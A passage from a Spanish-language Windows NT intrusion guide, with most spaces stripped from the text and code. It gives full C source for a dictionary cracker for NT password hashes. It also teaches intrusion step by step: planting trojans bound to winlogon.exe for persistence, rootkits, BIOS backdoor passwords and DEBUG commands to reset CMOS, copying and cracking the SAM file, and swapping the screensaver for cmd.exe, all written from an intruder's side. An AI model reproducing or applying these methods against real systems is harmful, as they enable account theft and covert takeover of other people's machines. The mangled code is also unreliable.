*Thisprogramisfreeforcommercialandnoncommercialuse.
*
*Redistributionanduseinsourceandbinaryforms,withorwithout
*modification,arepermitted.
*
*THISSOFTWAREISPROVIDEDBYNIHIL``ASIS''AND
*ANYEXPRESSORIMPLIEDWARRANTIES,INCLUDING,BUTNOTLIMITEDTO,THE
*IMPLIEDWARRANTIESOFMERCHANTABILITYANDFITNESSFORAPARTICULARPURPOSE
*AREDISCLAIMED.INNOEVENTSHALLTHEAUTHORORCONTRIBUTORSBELIABLE
*FORANYDIRECT,INDIRECT,INCIDENTAL,SPECIAL,EXEMPLARY,ORCONSEQUENTIAL
*DAMAGES(INCLUDING,BUTNOTLIMITEDTO,PROCUREMENTOFSUBSTITUTEGOODS
*ORSERVICESLOSSOFUSE,DATA,ORPROFITSORBUSINESSINTERRUPTION)
*HOWEVERCAUSEDANDONANYTHEORYOFLIABILITY,WHETHERINCONTRACT,STRICT
*LIABILITY,ORTORT(INCLUDINGNEGLIGENCEOROTHERWISE)ARISINGINANYWAY
*OUTOFTHEUSEOFTHISSOFTWARE,EVENIFADVISEDOFTHEPOSSIBILITYOF
*SUCHDAMAGE.
*
*/
/*SambaiscoveredbytheGNUGENERALPUBLICLICENSEVersion2,June1991*/

/*dictionarybasedNTpasswordcracker.Thisisatemporary
*solutionuntilIgetsometimetodosomethingmore
*intelligent.Theinputtothisprogramistheoutputof
*JeremyAllison'sPWDUMP.EXEwhichreadstheNTandLANMAN
*OWFpasswordsoutoftheNTregistryandacrackstyle
*dictionaryfile.TheoutputofPWDUMPlooks
*abitlikeUNIXpasswdfileswithcolondelimitedfields.
*/
#include<stdio.h>
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

63/83

27/11/2014

LaBibliadelNT

#include<stdlib.h>
#include<string.h>
#include<ctype.h>
/*Sambaheadersweuse*/
#include"byteorder.h"
#include"md4.h"
#defineTRUE1
#defineFALSE0
#defineHASHSIZE16
/*thoughtheNTpasswordcanbeupto128charactersintheory,
*theGUIlimitsthepasswordto14characters.Theonlyway
*tosetitbeyondthatisprogrammatically,andthenitwon't
*workattheconsole!So,Iamlimitingittothefirst14
*characters,butyoucanchangeittoupto128bymodifying
*MAX_PASSWORD_LENGTH
*/
#defineMAX_PASSWORD_LENGTH14
/*definesforSambacode*/
#defineucharunsignedchar
#defineint16unsignedshort
#defineuint16unsignedshort
#defineuint32unsignedint
/*theuser'sinfowearetryingtocrack*/
typedefstruct_USER_INFO
{
char*username
unsignedlongntpassword[4]
}USER_INFO,*PUSER_INFO
/*ourcountedunicodestring*/
typedefstruct_UNICODE_STRING
{
int16*buffer
unsignedlonglength
}UNICODE_STRING,*PUNICODE_STRING
/*fromSambasourcecut&pastedhere*/
staticint_my_mbstowcs(int16*,uchar*,int)
staticint_my_wcslen(int16*)
/*forwarddeclarations*/
voidCleanup(void)
intParsePWEntry(char*,PUSER_INFO)
/*globalvariabledefinition,onlyreasonissowecanregisteran
*atexit()fuctiontozerotheseforparanoidreasons
*/
charpPWEntry[258]
charpDictEntry[129]/*a128charpassword?yeah,inmywetdreams*/
MDstructMDContext/*MD4contextstructure*/

intmain(intargc,char*argv[])
{
FILE*hToCrack,*hDictionary
PUSER_INFOpUserInfo
PUNICODE_STRINGpUnicodeDictEntry
inti
unsignedintuiLength
/*registerexitcleanupfunction*/
atexit(Cleanup)
/*musthavebotharguments*/
if(argc!=3)
{
printf("\nUsage:%s<passwordfile><dictionaryfile>\n",argv[0])
exit(0)
}
/*openpasswordfile*/
hToCrack=fopen(argv[1],"r")
if(hToCrack==NULL)
{
fprintf(stderr,"Unabletoopenpasswordfile\n")
exit(1)
}

/*opendictionaryfile*/
hDictionary=fopen(argv[2],"r")
if(hDictionary==NULL)
{
fprintf(stderr,"Unabletoopendictionaryfile\n")
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

64/83

27/11/2014

LaBibliadelNT

exit(1)
}
/*allocatespaceforouruserinfostructure*/
pUserInfo=(PUSER_INFO)malloc(sizeof(USER_INFO))
if(pUserInfo==NULL)
{
fprintf(stderr,"Unabletoallocatememoryforuserinfostructure\n")
exit(1)
}
/*allocatespaceforunicodeversionofthedictionarystring*/
pUnicodeDictEntry=(PUNICODE_STRING)malloc(sizeof(UNICODE_STRING))
if(pUnicodeDictEntry==NULL)
{
fprintf(stderr,"Unabletoallocatememoryforunicodeconversion\n")
free(pUserInfo)
exit(1)
}
/*outputabannersotheuserknowswearerunning*/
printf("\nCrack4NTisrunning...\n")
/*aslongasthereareentriesinthepasswordfileread
*theminandcrackaway*/
while(fgets(pPWEntry,sizeof(pPWEntry),hToCrack))
{
/*parseoutthefieldsandfillouruserstructure*/
if(ParsePWEntry(pPWEntry,pUserInfo)==FALSE)
{
continue
}
/*resetfilepointertothebeginningofthedictionaryfile*/
if(fseek(hDictionary,0,SEEK_SET))
{
fprintf(stderr,"Unabletoresetfilepointerindictionary\n")
memset(pUserInfo>ntpassword,0,HASHSIZE)
free(pUserInfo)
free(pUnicodeDictEntry)
exit(1)
}

/*dowhilewehavenewdictionaryentries*/
while(fgets(pDictEntry,sizeof(pDictEntry),hDictionary))
{
/*doh...fgetsisgrabbingthefuckingnewline,howstupid*/
if(pDictEntry[(strlen(pDictEntry)1)]=='\n')
{
pDictEntry[(strlen(pDictEntry)1)]='\0'
}
/*thefollowingcodeisbasicallyJeremyAllison'scodewritten
*fortheSambaprojecttogeneratetheNTOWFpassword.For
*thoseofyouwhohaveaccusedSambaofbeingahacker's
*paradise,getafuckingclue.TherearepartsofNTsecurity
*thataresolamethatjustseeingthemimplementedincode
*isenoughtobreakrightthroughthem.Thatisallthat
*Sambahasdoneforthehackingcommunity.
*/
/*PasswordcannotbelongerthanMAX_PASSWORD_LENGTHcharacters*/
uiLength=strlen((char*)pDictEntry)
if(uiLength>MAX_PASSWORD_LENGTH)
uiLength=MAX_PASSWORD_LENGTH
/*allocatespaceforunicodeconversion*/
pUnicodeDictEntry>length=(uiLength+1)*sizeof(int16)
/*allocatespaceforit*/
pUnicodeDictEntry>buffer=(int16*)malloc(pUnicodeDictEntry>length)
if(pUnicodeDictEntry>buffer==NULL)
{
fprintf(stderr,"Unabletoallocatespaceforunicodestring\n")
exit(1)
}

/*PasswordmustbeconvertedtoNTunicode*/
_my_mbstowcs(pUnicodeDictEntry>buffer,pDictEntry,uiLength)
/*Ensurestringisnullterminated*/
pUnicodeDictEntry>buffer[uiLength]=0

/*Calculatelengthinbytes*/
uiLength=_my_wcslen(pUnicodeDictEntry>buffer)*sizeof(int16)
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

65/83

27/11/2014

LaBibliadelNT

MDbegin(&MDContext)
for(i=0i+64<=(signed)uiLengthi+=64)
MDupdate(&MDContext,pUnicodeDictEntry>buffer+(i/2),512)
MDupdate(&MDContext,pUnicodeDictEntry>buffer+(i/2),(uiLengthi)*8)
/*endofSambacode*/
/*checkifdictionaryentryhashedtothesamevalueastheuser's
*NTpassword,ifsoprintoutusernameandthecorresponding
*password
*/
if(memcmp(MDContext.buffer,pUserInfo>ntpassword,HASHSIZE)==0)
{
printf("Passwordforuser%sis%s\n",pUserInfo>username,\pDictEntry)
/*wearedonewiththepasswordentrysofreeit*/
free(pUnicodeDictEntry>buffer)
break
}
/*wearedonewiththepasswordentrysofreeit*/
free(pUnicodeDictEntry>buffer)
}
}
/*cleanupabunch*/
free(pUserInfo>username)
memset(pUserInfo>ntpassword,0,HASHSIZE)
free(pUserInfo)
free(pUnicodeDictEntry)
/*everythingisgreat*/
printf("Crack4NTisfinished\n")
return0
}
voidCleanup()
{
memset(pPWEntry,0,258)
memset(pDictEntry,0,129)
memset(&MDContext.buffer,0,HASHSIZE)
}

/*parseoutusernameandOWF*/
intParsePWEntry(char*pPWEntry,PUSER_INFOpUserInfo)
{
intHexToBin(char*,uchar*,int)

charpDelimiter[]=":"
char*pTemp
charpNoPW[]="NOPASSWORD*********************"
charpDisabled[]="********************************"
/*checkargs*/
if(pPWEntry==NULL||pUserInfo==NULL)
{
returnFALSE
}

/*tryandgetusername*/
pTemp=strtok(pPWEntry,pDelimiter)
if(pTemp==NULL)
{
returnFALSE
}
/*allocatespaceforusernameinUSER_INFOstruct*/
pUserInfo>username=(char*)malloc(strlen(pTemp)+1)
if(pUserInfo>username==NULL)
{
fprintf(stderr,"Unabletoallocatememoryforusername\n")
returnFALSE
}
/*gettheusernameintotheUSER_INFOstruct*/
strcpy(pUserInfo>username,pTemp)
/*pushthroughRIDandLanManpasswordentriestogettoNTpassword*/
strtok(NULL,pDelimiter)
strtok(NULL,pDelimiter)
/*getNTOWFpassword*/
pTemp=strtok(NULL,pDelimiter)
if(pTemp==NULL)
{
free(pUserInfo>username)
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

66/83

27/11/2014

LaBibliadelNT

returnFALSE
}
/*doasanitycheckonthehashvalue*/
if(strlen(pTemp)!=32)
{
free(pUserInfo>username)
returnFALSE
}
/*checkiftheuserhasnopasswordwereturnFALSEinthiscasetoavoid
*unnecessarycrackattempts
*/
if(strcmp(pTemp,pNoPW)==0)
{
printf("User%shasnopassword\n",pUserInfo>username)
returnFALSE
}
/*checkifaccountappearstobedisabledagainwereturnFALSE*/
if(strcmp(pTemp,pDisabled)==0)
{
printf("User%sisdisabledmostlikely\n",pUserInfo>username)
returnFALSE
}
/*converthextobin*/
if(HexToBin((unsignedchar*)pTemp,(uchar*)pUserInfo>ntpassword,16)==FALSE)
{
free(pUserInfo>username)
returnFALSE
}
/*cleanup*/
memset(pTemp,0,32)
returnTRUE
}

/*justwhatitsays,Iamgettingtired
*Thisisaprettylamewaytodothis,butitismoreefficentthan
*sscanf()
*/
intHexToBin(char*pHexString,uchar*pByteString,intcount)
{
inti,j
if(pHexString==NULL||pByteString==NULL)
{
fprintf(stderr,"ANULLpointerwaspassedtoHexToBin()\n")
returnFALSE
}

/*clearthebytestring*/
memset(pByteString,0,count)

/*foreachhexcharxorthebytewithrightvalue,wearetargeting
*thelownibble
*/
for(i=0,j=0i<(count*2)i++)
{
switch(*(pHexString+i))
{
case'0':pByteString[j]^=0x00
break
case'1':pByteString[j]^=0x01
break
case'2':pByteString[j]^=0x02
break
case'3':pByteString[j]^=0x03
break
case'4':pByteString[j]^=0x04
break
case'5':pByteString[j]^=0x05
break
case'6':pByteString[j]^=0x06
break
case'7':pByteString[j]^=0x07
break
case'8':pByteString[j]^=0x08
break
case'9':pByteString[j]^=0x09
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

67/83

27/11/2014

LaBibliadelNT

break
case'a':
case'A':pByteString[j]^=0x0A
break
case'b':
case'B':pByteString[j]^=0x0B
break
case'c':
case'C':pByteString[j]^=0x0C
break
case'd':
case'D':pByteString[j]^=0x0D
break
case'e':
case'E':pByteString[j]^=0x0E
break
case'f':
case'F':pByteString[j]^=0x0F
break
default:fprintf(stderr,"invalidcharacterinNTMD4string\n")
returnFALSE
}
/*IthinkIneedtoexplainthis)Wewanttoincremetjforevery
*twocharactersfromthehexstringandwealsowanttoshiftthe
*low4bitsuptothehigh4justasoften,butwewanttoalternate
*Thelogichereistoxorthemasktosetthelow4bits,thenshift
*thosebitsupandxorthenextmasktosetthebottom4.Every2
*hexcharsforeveryonebyte,getmyscrewylogic?Ineverwas
*goodatbittwiddling,andsscanfsucksforefficiency:(
*/
if(i%2)
{
j++
}
if((i%2)==0)
{
pByteString[j]<<=4
}
}
returnTRUE
}

/*thefollowingfunctionsarefromtheSambasource,andmanythankstothe
*authorsfortheirgreatworkandcontributiontothepublicsourcetree
*/
/*RoutinesforWindowsNTMD4Hashfunctions.*/
staticint_my_wcslen(int16*str)
{
intlen=0
while(*str++!=0)
len++
returnlen
}
/*
*ConvertastringintoanNTUNICODEstring.
*Notethatregardlessofprocessortype
*thismustbeinintel(littleendian)
*format.
*/
staticint_my_mbstowcs(int16*dst,uchar*src,intlen)
{
inti
int16val

for(i=0i<leni++){
val=*src
SSVAL(dst,0,val)
dst++
src++
if(val==0)
break
}
returni
}
<>
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

68/83

27/11/2014

LaBibliadelNT

Finalizaelcodigo

[10Herramientasdecontrolremoto]

Quieneslohanprobadoyalosaben.Controlarunamaquinaremotamentecon
todoslosprivilegiosesunplacer.Paraello,sepuedeoptarporunparde
soluciones,controlaralamaquinapormediodetroyanosoporherramientas
comerciales,pornormamaspotentesquelosanteriores,peroestosrequieren
autentificacion,porloqueenprincipiosolopuedenserusadosporpersonal
autorizado.Remarquese"enprincipio".
Aquiestudiaremosestasdosclasesdesoftwareparacontrolarremotamente
unamaquina.Veremosenprofundidadelsoftwarecomercialmasusadopara
ello,repasandosusbugsysuscaracteristicas,yexplicarelascualidades
dealgunostroyanosparaNT,cualessonsusventajas/desventajas,etc.

[10.1Softwarecomercial]

Losprogramasdecontrolremotodeterminalesdepago,sonpornorma
muchomaspotentesenloqueaopcionesserefierequelostroyanos.Estos
seusanbastanteenempresas,dondeeladministradornopodraestarsiempre
delantedelamaquina,yquieredisfrutardeunaguiremota,rapida,eficaz,
ysegura,claro.
Losprincipalesproblemasdeseguridadquesuelendarson:tenerel
programamalconfigurado,concontrase~asdebiles,oqueelprogramatenga
unbugquenoestaparcheado.Lotipico.
Quesirvalosiguientecomocomparativadeseguridaddelossiguientes
programas.

[10.1.1Citrix]

Estaesunapoderosaherramienta,quedestacasobretodoporquepermite
ejecutarmandatosremotosenenservidor.Estoesbastantepracticocuando
sequiereinstalardeformaremotaunparchedeseguridadparaelservidor,
etc.,perocualquieraconobscurasintencionespodriaejecutaralguntroyano
oalgunaherramientaquetransformeelservidorenunacalabaza.
Citrixnonecesitatenerabiertoslospuertos135y139paraelproceso
deautentificacion.

Puerto/squeusa:TCP:1494.
UDP:1494.
URLdelfabricante:http://www.citrix.com

[10.1.2ControlIT]

Estaherramienta,nuncasecaracterizoporunagranseguridad.Ensus
primerasversionesguardabaentextoplanolosnombresdeusuariosy
contrase~as,yactualmentelascodificanodemanerademasiadosegura.
Tambiendescuidaeldetalledeobligaralosusuariosausarcontrase~as
fuertes,deprotegerlosarchivosdeconfiguracionyperfilesbajoclave,y
tampocoregistralosintentosdeiniciodesesionfallidos,apartedeser
vulnerablealarevelaciondecontrase~adelaGUI.

Puerto/squeusa:TCP:799.800.
UDP:800.
(permiteutilizarotrospuertos)
URLdelfabricante:http://www.cai.com

[10.1.3PcAnywhere]

Seguramenteyaconocereisestaestupendaherramienta,quizaunadelas
masseguras.Ydigosegurasporqueobligaalusuarioausarcontrase~aslo
suficientementesegurascomoparaevitarseradivinadas,distintosmetodos
deautentificacion,cifradodeltrafico,unnumeromaximodeintentosde
iniciodesesion,elregistrodeintentosdeintentosdesesionfallidos,el
cierredesesiondelusuariocuandoestefinalicesuconexion,entreotras
cosas.
Sinembargoenestosultimosdias,ManuelMolinaGarciadioconstanciade
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

69/83

27/11/2014

LaBibliadelNT

quesesisetienenpermisosenlacarpeta%systemroot%\symantec\pcanywhere\
DATA\podemosa~adirperfiles.Deestamanerapodriamoscrearnosunacuenta
ennuestramaquinaconPcAnywherequetuvieraderechosadministrativos,para
despuessubirlaalservidorenlacarpetaespecificada.Deesamanera,se
tendriaelcontroltotaldelamaquina.Claro,algunosdiranqueparatener
derechosdeescrituraenesacarpetadebesseradministrador,yquesiyalo
eres,yapuedescontrolarlamaquina.Yopersonalmenteprefierocontrolar
lamaquinaporunentornografico,contantisimasposibilidadescomoPc
Anywhere,ynoconformarmeconunashelldecomandos.
Puerto/squeusa:TCP:22,5361,5362,65301.
UDP:22,5632.
(permiteutilizarotrospuertos)

URLdelfabricante:http://www.symantec.com

[10.1.4ReachOUT]

Esteotroprograma,aunqueesbastantecomododeusar,noestodolo
seguroquecabriaesperar,yaquenoposeeunsistemadeautentificacionque
noseaeldeWindowsNT,noprotegebajocontrase~anisusperfilesnisus
archivosdeconfiguracion.

Puerto/squeusa:TCP:43188.
UDP:43188.
URLdelfabricante:http://www.stac.com

[10.1.5RemotelyAnywhere]

Esteherramienta,peseahaberaparecidohacepoco,esunadelasmejores
herramientasdecontrolremoto,yprometeserlamejordentrodepoco.Yeso
lodigoporqueposeeopcionesrealmenteinnovadorasdentrodesuclase,como
ladepodercontrolarremotamenteelservidoratravesdehttp...desdeel
navegadormismo.
Respectoalaseguridad,poseelamayoriademedidasquePcAnywhere,
exceptoladeofrecerunaautentificaciondistintaalaquetraeNT,porlo
unavezsetienenlospassdelamaquinasetienenlospassdelprograma.
Ademasposeelaposibilidaddeejecutaraplicacioneslocalesenel
servidor,comocitrix.Tambienpodremosencontrarinteresantesopcionescomo
ladebloquearselectivodeIP'sautentificacionNTLM,etc...

Puerto/squeusa:TCP:2000,2001.
UDP:Ninguno.
(permiteutilizarotrospuertos)
URLdelfabricante:http://www.remotelyanywhere.com

[10.1.6Timbuktu]

Esteprogramatienelasmismascaracteristicasdeseguridadqueincorpora
PcAnywhere,a~adiendounpardeopcionesdecontrolmas,comosonelpoder
compartirlapantallasimultaneamenteentrevariosusuarios,laposibilidad
deponerlecaducidadalacontrase~a,etc.
Quizas,elmejorcontroladordepcremotodelmundo(comolacerveza).

Puerto/squeusa:TCP:407.
UDP:407.
URLdelfabricante:http://www.remotelyanywhere.com

[10.1.7VNC]

AunqyuehayametidoaVNCenlasecciondesoftwarecomercial,hayque
decirqueesteestotalmentegratis.Freeware.VNCsonlassiglasdeVirtual
NetworkComputing.
QuizasumayoralicienteseaquesepuedeinstalarenmuchosSO's,como
Windows9x/NT/CE,Solaris,LinuxeinclusoMacintosh.VNCademasposeeuna
interfazjavaquesepodraverencualquiernavegadorquesoportejava,para
controlarloporHTTP.
CabedecirqueVNCnoesdelosproductosmassegurosnimascompletos,
yaqueessubsceptiblealataquederevelaciondecontrase~a,ycarecede
otrasopcionesdeseguridaddeotrasaplicacionesdecontrolremoto.Sin
embargo,espracticoyesfreeware.

file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

70/83

27/11/2014

LaBibliadelNT

Puerto/squeusa:TCP:Del5800,5801,5802,5803...
UDP:Ninguno.
URLdelfabricante:http://www.uk.research.att.com/vnc/faq.html

[10.2Troyanos]

Infectaralamaquinahackeadaconalguntroyanoeslatipicaformade
asegurarselaestancia...duranteciertotiempo.Untroyanonopasara
inadvertidoalosojosdeladminpormuchotiempo...
Sinembargoenunamaquinamediodescuidadaporeladmin,elinstalarun
troyanosueleservirbastantebien,aunquenoesdemasiadorecomendable.Si
seoptaporinstalaruno,debeserparatroyanizarciertosarchivosdel
sistema,yposteriormentedesinstalartotalmenteeltroyano,paradejaruna
puertadeentradamassilenciosa.

[10.2.1Prosycontras]

Lasventajasquetieneusaruntroyanosonque,conelclienteadecuado,
esmuycomodoentrarysalirdeeste,ademassindejarhuellasenelsistema
(estoesrelativo,sieladminhaceun"netstatan"veratuIPconectada
alpuertodeltroyano...).
Lomaloquetieneestemetodoesquecantamuchisimo...hayqueseralgo
masqueundscuidadoparanodarsecuentadequesetieneabiertounpuerto
"extra~o".Ademas,siestamosusandoalguntroyanodelosya"fichados",del
tipoBackOriffice2K,sinhabermodificadoelcodigofuente,cualquier
Antivirusdecente,oalgunlimpiatroyanososimilarlodetectara,yahilo
mejorquepuedepasaresqueeladminlodesinstaletotalmenteynoseponga
abuscarte...

[10.2.3Comparativa]

EnW2K/NT,eltroyanomaspotenteeselBackOriffice2K,queofreceuna
grancantidaddeopcionesdecontrolsobrelamaquinaasediada,unagran
facilidaddeuso,yunagrancantidaddeaddonssobreeste.AdemasesFree
Source,porloquepodrasmodificarloaplacer...
Sisevaainstalaruntroyanoenlamaquinavictima,norecomiendoel
usodeotrostroyanostipoNetBus,SubSeven,etc...uotrocualquieraa
menosquenohayaiscomprobadoquefuncionencorrectamentebajoNTFS.NetBus
porejemplo,trabajatorpementeconelsistemadearchivosdeNT,incapazde
listardirectoriosyhacerotrasoperacionesrutinarias.
Quizaunadelassolucionesmasinteligentessiseusantroyanos,esla
deusarlosjuntoEliteWrap.Dichaherramientapermitefusionardosomas
archivosenunosolo,demaneraquecuandoseejecuteunoelotrotambienlo
hara.Ydeciainteligentesporquepodriamos(esunaidea)fusionarun
archivodeiniciodesesion(comowinlogon.exe)oauntroyano,deesa
manerasepodraborrareltroyanotemporalmente,yaquecadavezquese
arranqueelsistemaeltroyanosevolveraaejecutar...
Tambiensepodriafusionarconunficherodesalvapantallas...etc.Los
intrusosconmenosimaginacionseranlosquecaeranprimero.

[10.2.4Resumensobrelasherramientasdecontrolremoto]

Comohemosvisto,haydosmanerasdeaccederremotamenteaunservidor
mediantecontrolremoto:usandosoftwarecomercialountroyano.Porpoder,
podriamoshaberusadounIworm...peroesoyaseriairsedemasiado.Quiza
paralaproximavez.
Sidetectamosalguntipodesoftcomercialdecontrolremotoenalguna
maquina,podemosintentaraccederdesdeelclientededichaherramienta
(podriamosbajarnoslasversionessharewaredeestos)yprobarataquespor
fuerzabruta,etc.Silograramosacceso,podriamosdesdenuestramaquina
a~adirunperfilconnuestronombredeusuarioypassword,ysubirloala
maquinahackeadaparapoderentrardesdenuestrapropiacuenta.Esto
evitariaquesenotasenuestrapresenciasiselogueasenlasentradasdesde
lacuentahackeada.
Sobrelostroyanosyahemosvistolobasico...siquereisaprendermas
sobreestos,acudirawww.controltotal.org.

[12Rootkits]
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

71/83

27/11/2014

LaBibliadelNT

UnRootkitesunconjuntodeprogramasqueparcheanytroyanizanel
sistemaoperativo.Nohayqueconfundiraestosconlostroyanos.Usar
rootkitsenelsistemaobjetivoesunadelosmetodosmasfiablespara
mantenerelaccesoalmismo,sindejarhuellas.
Lasposibilidadesqueaportaunrootkitsoninfinitas,desdetroyanizar
elsistemadeautentificacionparaquedeaccesoaunusuarioquenoeste
presenteenelarchivodecontrase~as(invisibledesdelavistadelpropio
administrador),parchearunsistemadedetecciondeintrusos(IDS),parchear
laauditoriaparaquenoauditelasaccionesdesegunqueusuario,etc.
Novoyaexplicarcomopoderhacernosunrootkit,quizaenotradocumento
nospongamosaello.Elloimplicariaexplicardesdeelmodoprotegidodel
i386,hastaelcomotrabajaelmonitordeseguridaddereferencia,etc.
Quizasenotrodocumentolostratedetalladamente.Entonces,paraqueesta
seccion?hecreidonecesarioponerlaparaqueellectorsepaqueexisten,y
siquiereprofundizarmasenestosenlasURLquesedanenelapendice.No
estariabienhablardeestossinponerunejemplodeuno...elunicodelque
tengoconstanciaqueexiste,elderootkit.com.Dichorootkitestacompuesto
porunagrancantidaddearchivos,porloquenoespereisquemetaenmedio
delarticuloelcodigofuente.
Aviso:Noejecutarelficherodeploy.exesinosesabebienloquehace,
menosaunsiestaenunamaquinaNTquehacedeservidoratantas
otrasmaquinas...

[13Resumen]

HeintentadoexplicarlamayoriademetodosparaentrarenunNT,asi
comoalgunasformasdemantenernuestraestancia.Ahoraprofundizaremosun
pocomasenlosdosmetodosdehackeo,fisicoyremoto.Allavamos.

ParteIII,HackingfisicodeNT

[14Iniciacion]

Sedicequeunamaquinanoestotalmentesegurasiestanoestotalmente
segurafisicamente.Yescierto.
MuchosAdministradoressecentranexclusivamenteenlaseguridaddered,
nodandoimportanciaalaseguridadfisica,olvidandoquesielintruso
tieneaccesoalservidor,tienemuchasposibilidadesdeobteneruncontrol
totalsobreel.
Acontinuacionrepasaremosalgunosmetodosparaasegurarnuestrasigilosa
estancia.

[15Consiguiendoacceso]

Loprimeroesconseguirelaccesoalservidorfisico.Supongamosqueya
lotenemos...normalmenteelservidorestaravigilado,porloqueel
llevarseeldiscoduronosuenacomomedidaviable,ysetendraquehackear
desdeelsitiodondeestelamaquina.
Veamosunodelosprincipalesproblemasquesuelehaberalintentar
accederalsistema,segundosdespuesdeencenderloarrancaelsistemay...

[15.1SaltandoselaBIOS]

Vaya,laBIOSnospidecontrase~aparaarrancarelsistema.Lonormal
seraquenosepamoslaclaveyquenolaadivinemos...
Aquipodemosoptarporcuatrocaminosprincipalmente.Elprimeroseria,
cuandoveaislamaquinaencendidaynohayapeligro...leinstalaisun
crackeadordepasswordsdelaBIOSyale,aprobar.Sinembargolomas
seguroseraqueeldue~ocorraNTporelsistemadearchivosnativodeNT,
elNTFS(elcualFalkenexplicoenSET15),porloque,ycomolamayoria
decrackeadoresdepasswordsdelaBIOSsonparaMSDOS,puesnofuncione.
ParaellopodeisinstalarunemuladordeMSDOS,ylistos.Aquiteneisun
pardeURL'squeosserviran:http://www.passwordcrackers.com/crack.htmly
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

72/83

27/11/2014

LaBibliadelNT

http://neworder.box.sk,seccionutilidades/bios/cmostools
Lasegundaopcionesmasdisparatada...latipicaymilvecesexplicada
soluciondequitarlelapilaalaplacabaseyesperaraquelaRAMCMOSse
descargue...yaquemantienelainformacionsolosiestarecibiendoenergia
constantemente.Silamaquinaestavigiladaprobarestatecnicaresulta
arriesgado...oporlomenosenmiopinion(IMO).
Laterceraposibilidadesprobarconlospasswordsdelasiguientelista,
loscualesfueronpuestosporlascompa~iascreadorasdelmodelodeterminado
debiosporsialdue~oseleolvidabalacontrase~a.Estalistahasido
recopiladaporNethanEinwechteryextraidadehack.co.za.

TipodeBIOSContrase~a

AMI589589
A.M.I.
aammii
AMI
AMI!SW
AMI.KEY
ami.kez
AMI?SW
AMI_SW
AMI
ami
amiami
amidecod
AMIPSWD
amipswd
AMISETUP
bios310
BIOSPASS
CMOSPWD
helgaos[la'o'conacento]
HEWITTRAND
KILLCMOS
AmptronPolrty
ASTSnuFG5
Award?award
01322222
1EAAh
256256
589721
admin
alfarome
aLLy
aPAf
award
AWARDSW
award.sw
AWARD?SW
award_?
award_ps
AWARD_PW
AWARD_SW
awkward
BIOS
bios*
biosstar
CONCAT
condo
CONDO
djonet
efmukl
g6PJ
h6BB
HELGAS
HEWITTRAND
HLT
j09F
j256
j262
j322
j64
lkwpeter
lkwpeter
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

73/83

27/11/2014

LaBibliadelNT

PASSWORD
SER
setup
SKY_FOX
SWITCHES_SW
Sxyz
SZYX
t0ch20x
t0ch88
TTPTHA
ttptha
TzqF
wodj
ZAAADA
zbaaaca
zjaaadc
BiostarBiostar
Q54arwms
CompaqCompaq
Concordlast
CTXInternationalCTX_123
CyberMaxCongress
DaewooDaewuu
DaytekDaytec
DellDell
DigitalEquipmentkomprie
Enoxxo11nE
Epoxcentral
FreetechPosterie
HPVectrahewlpack
IBMIBM
MBIUO
sertafu
Iwilliwill
JetWayspoom1
JossTechnology57gbz6
technologi
MtechnologymMmM
MachSpeedsp99dd
MagicProprost
Megastarstar
Micronsldkj754
xyzall
Micronicsdn_04rjc
Nimblexdfk9874t3
PackardBellBell9
QDIQDI
QuantexteX1
xljlbj
ResearchCol2ogro2
ShuttleSpacve
SiemensNixdorfSKY_FOX
SpeedEasylesarot1
SuperMicroksdjfg934t
Tinystiny
TMCBIGO
Toshiba24Banc81
Toshiba
toshy99
VextrecTechnologyVextrex
Vobismerlin
WIMBIOSnbspBIOSv2.10Compleri
Zenith3098z
Zenith
ZEOSzeosx

LacuartaopcionseriadesdeMSDOSreinicializarlaBIOS.Paraello,una
veztengaisaccesoalamaquinaenwindows/msdos,podeisusareldebuge
introducirlassiguientesinstrucciones:

TipodeBIOSInstrucciones

AMIyAwardO7017
O7117
Q
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

74/83

27/11/2014

LaBibliadelNT

PhoenixO70FF
O7117
Q
*CUALQUIERA*O702E
O71FF
Q

[16ObteniendolasSAM]

Supongamosqueyahemosentrado...ahoraelsistemaarranca...llegamosa
latipicaventanadeautentificacionquenospidequeintroduzcamosun
nombredeusuarioycontrase~a.Elunicoproblemaseguramenteseraquesi
sabemoselnombredeusuarioquequeramosatacar(ysino,NTpordefecto
dejaellogindelultimousuarioqueentrolocalmente),peronosabemosla
contrase~a.Nohaynadaahacer...todoestaperdido?niporasomo.
Sieseesnuestrocasoloquedebemosdehaceresarrancarelsistemacon
undisquetequetraigaMSDOS(noimportademasiadolaversion...)yun
programallamadoNTFSDOS.DichoprogramapermiteleerparticionesNTFSdesde
eldisquete...yasisacar,porejemplo,elficheroSAM(*)deldirectorio
WinNT/repair/
HaymasformasdeconseguirlasSAM...porejemplo,instalandoun
sniffer,etc...lasposibilidadessonmuchasyvariadas,perolamastipica
enunhacklocalesesta.ParaencontrarsniffersparaNTpasarosporel
apendice.
Luego,unavezyatengamoselSAM,podemosprobarcrackearloconalgun
crackeadordeSAM's,comoporejemploelL0phtCrack.
UnavezdesencriptadalacuentadeAdministrador(ounacuentacon
privilegiosdeadministrador)yapodremospasaralasiguienteetapaenla
intrusion.
*EnNT4,lacopiadelficheroSAMestabaenWinNT/repair/sam._,a
diferenciaqueenW2K,enlaqueseharenombradodesam._asam.

[17Asegurandonoslaestancia]

Haymuchasmanerasdeasegurarnoslaestanciaenlamaquinaaccediendo
localmenteaesta.
Podemosoptarpornoinstalarningunaaplicacion,dejarelsistemacomo
estaba...obueno,casi.Enestecasocambiariamosunasdeterminadasclaves
delregistro,demaneraquecuandoenelprocesodeautentificacionel
tecladoesteinactivoduranteuntiempodeterminado,seejecute,enlugarde
unsalvapantallas,unprogramaquenosotroselijamos...quetalcmd.exe?si,
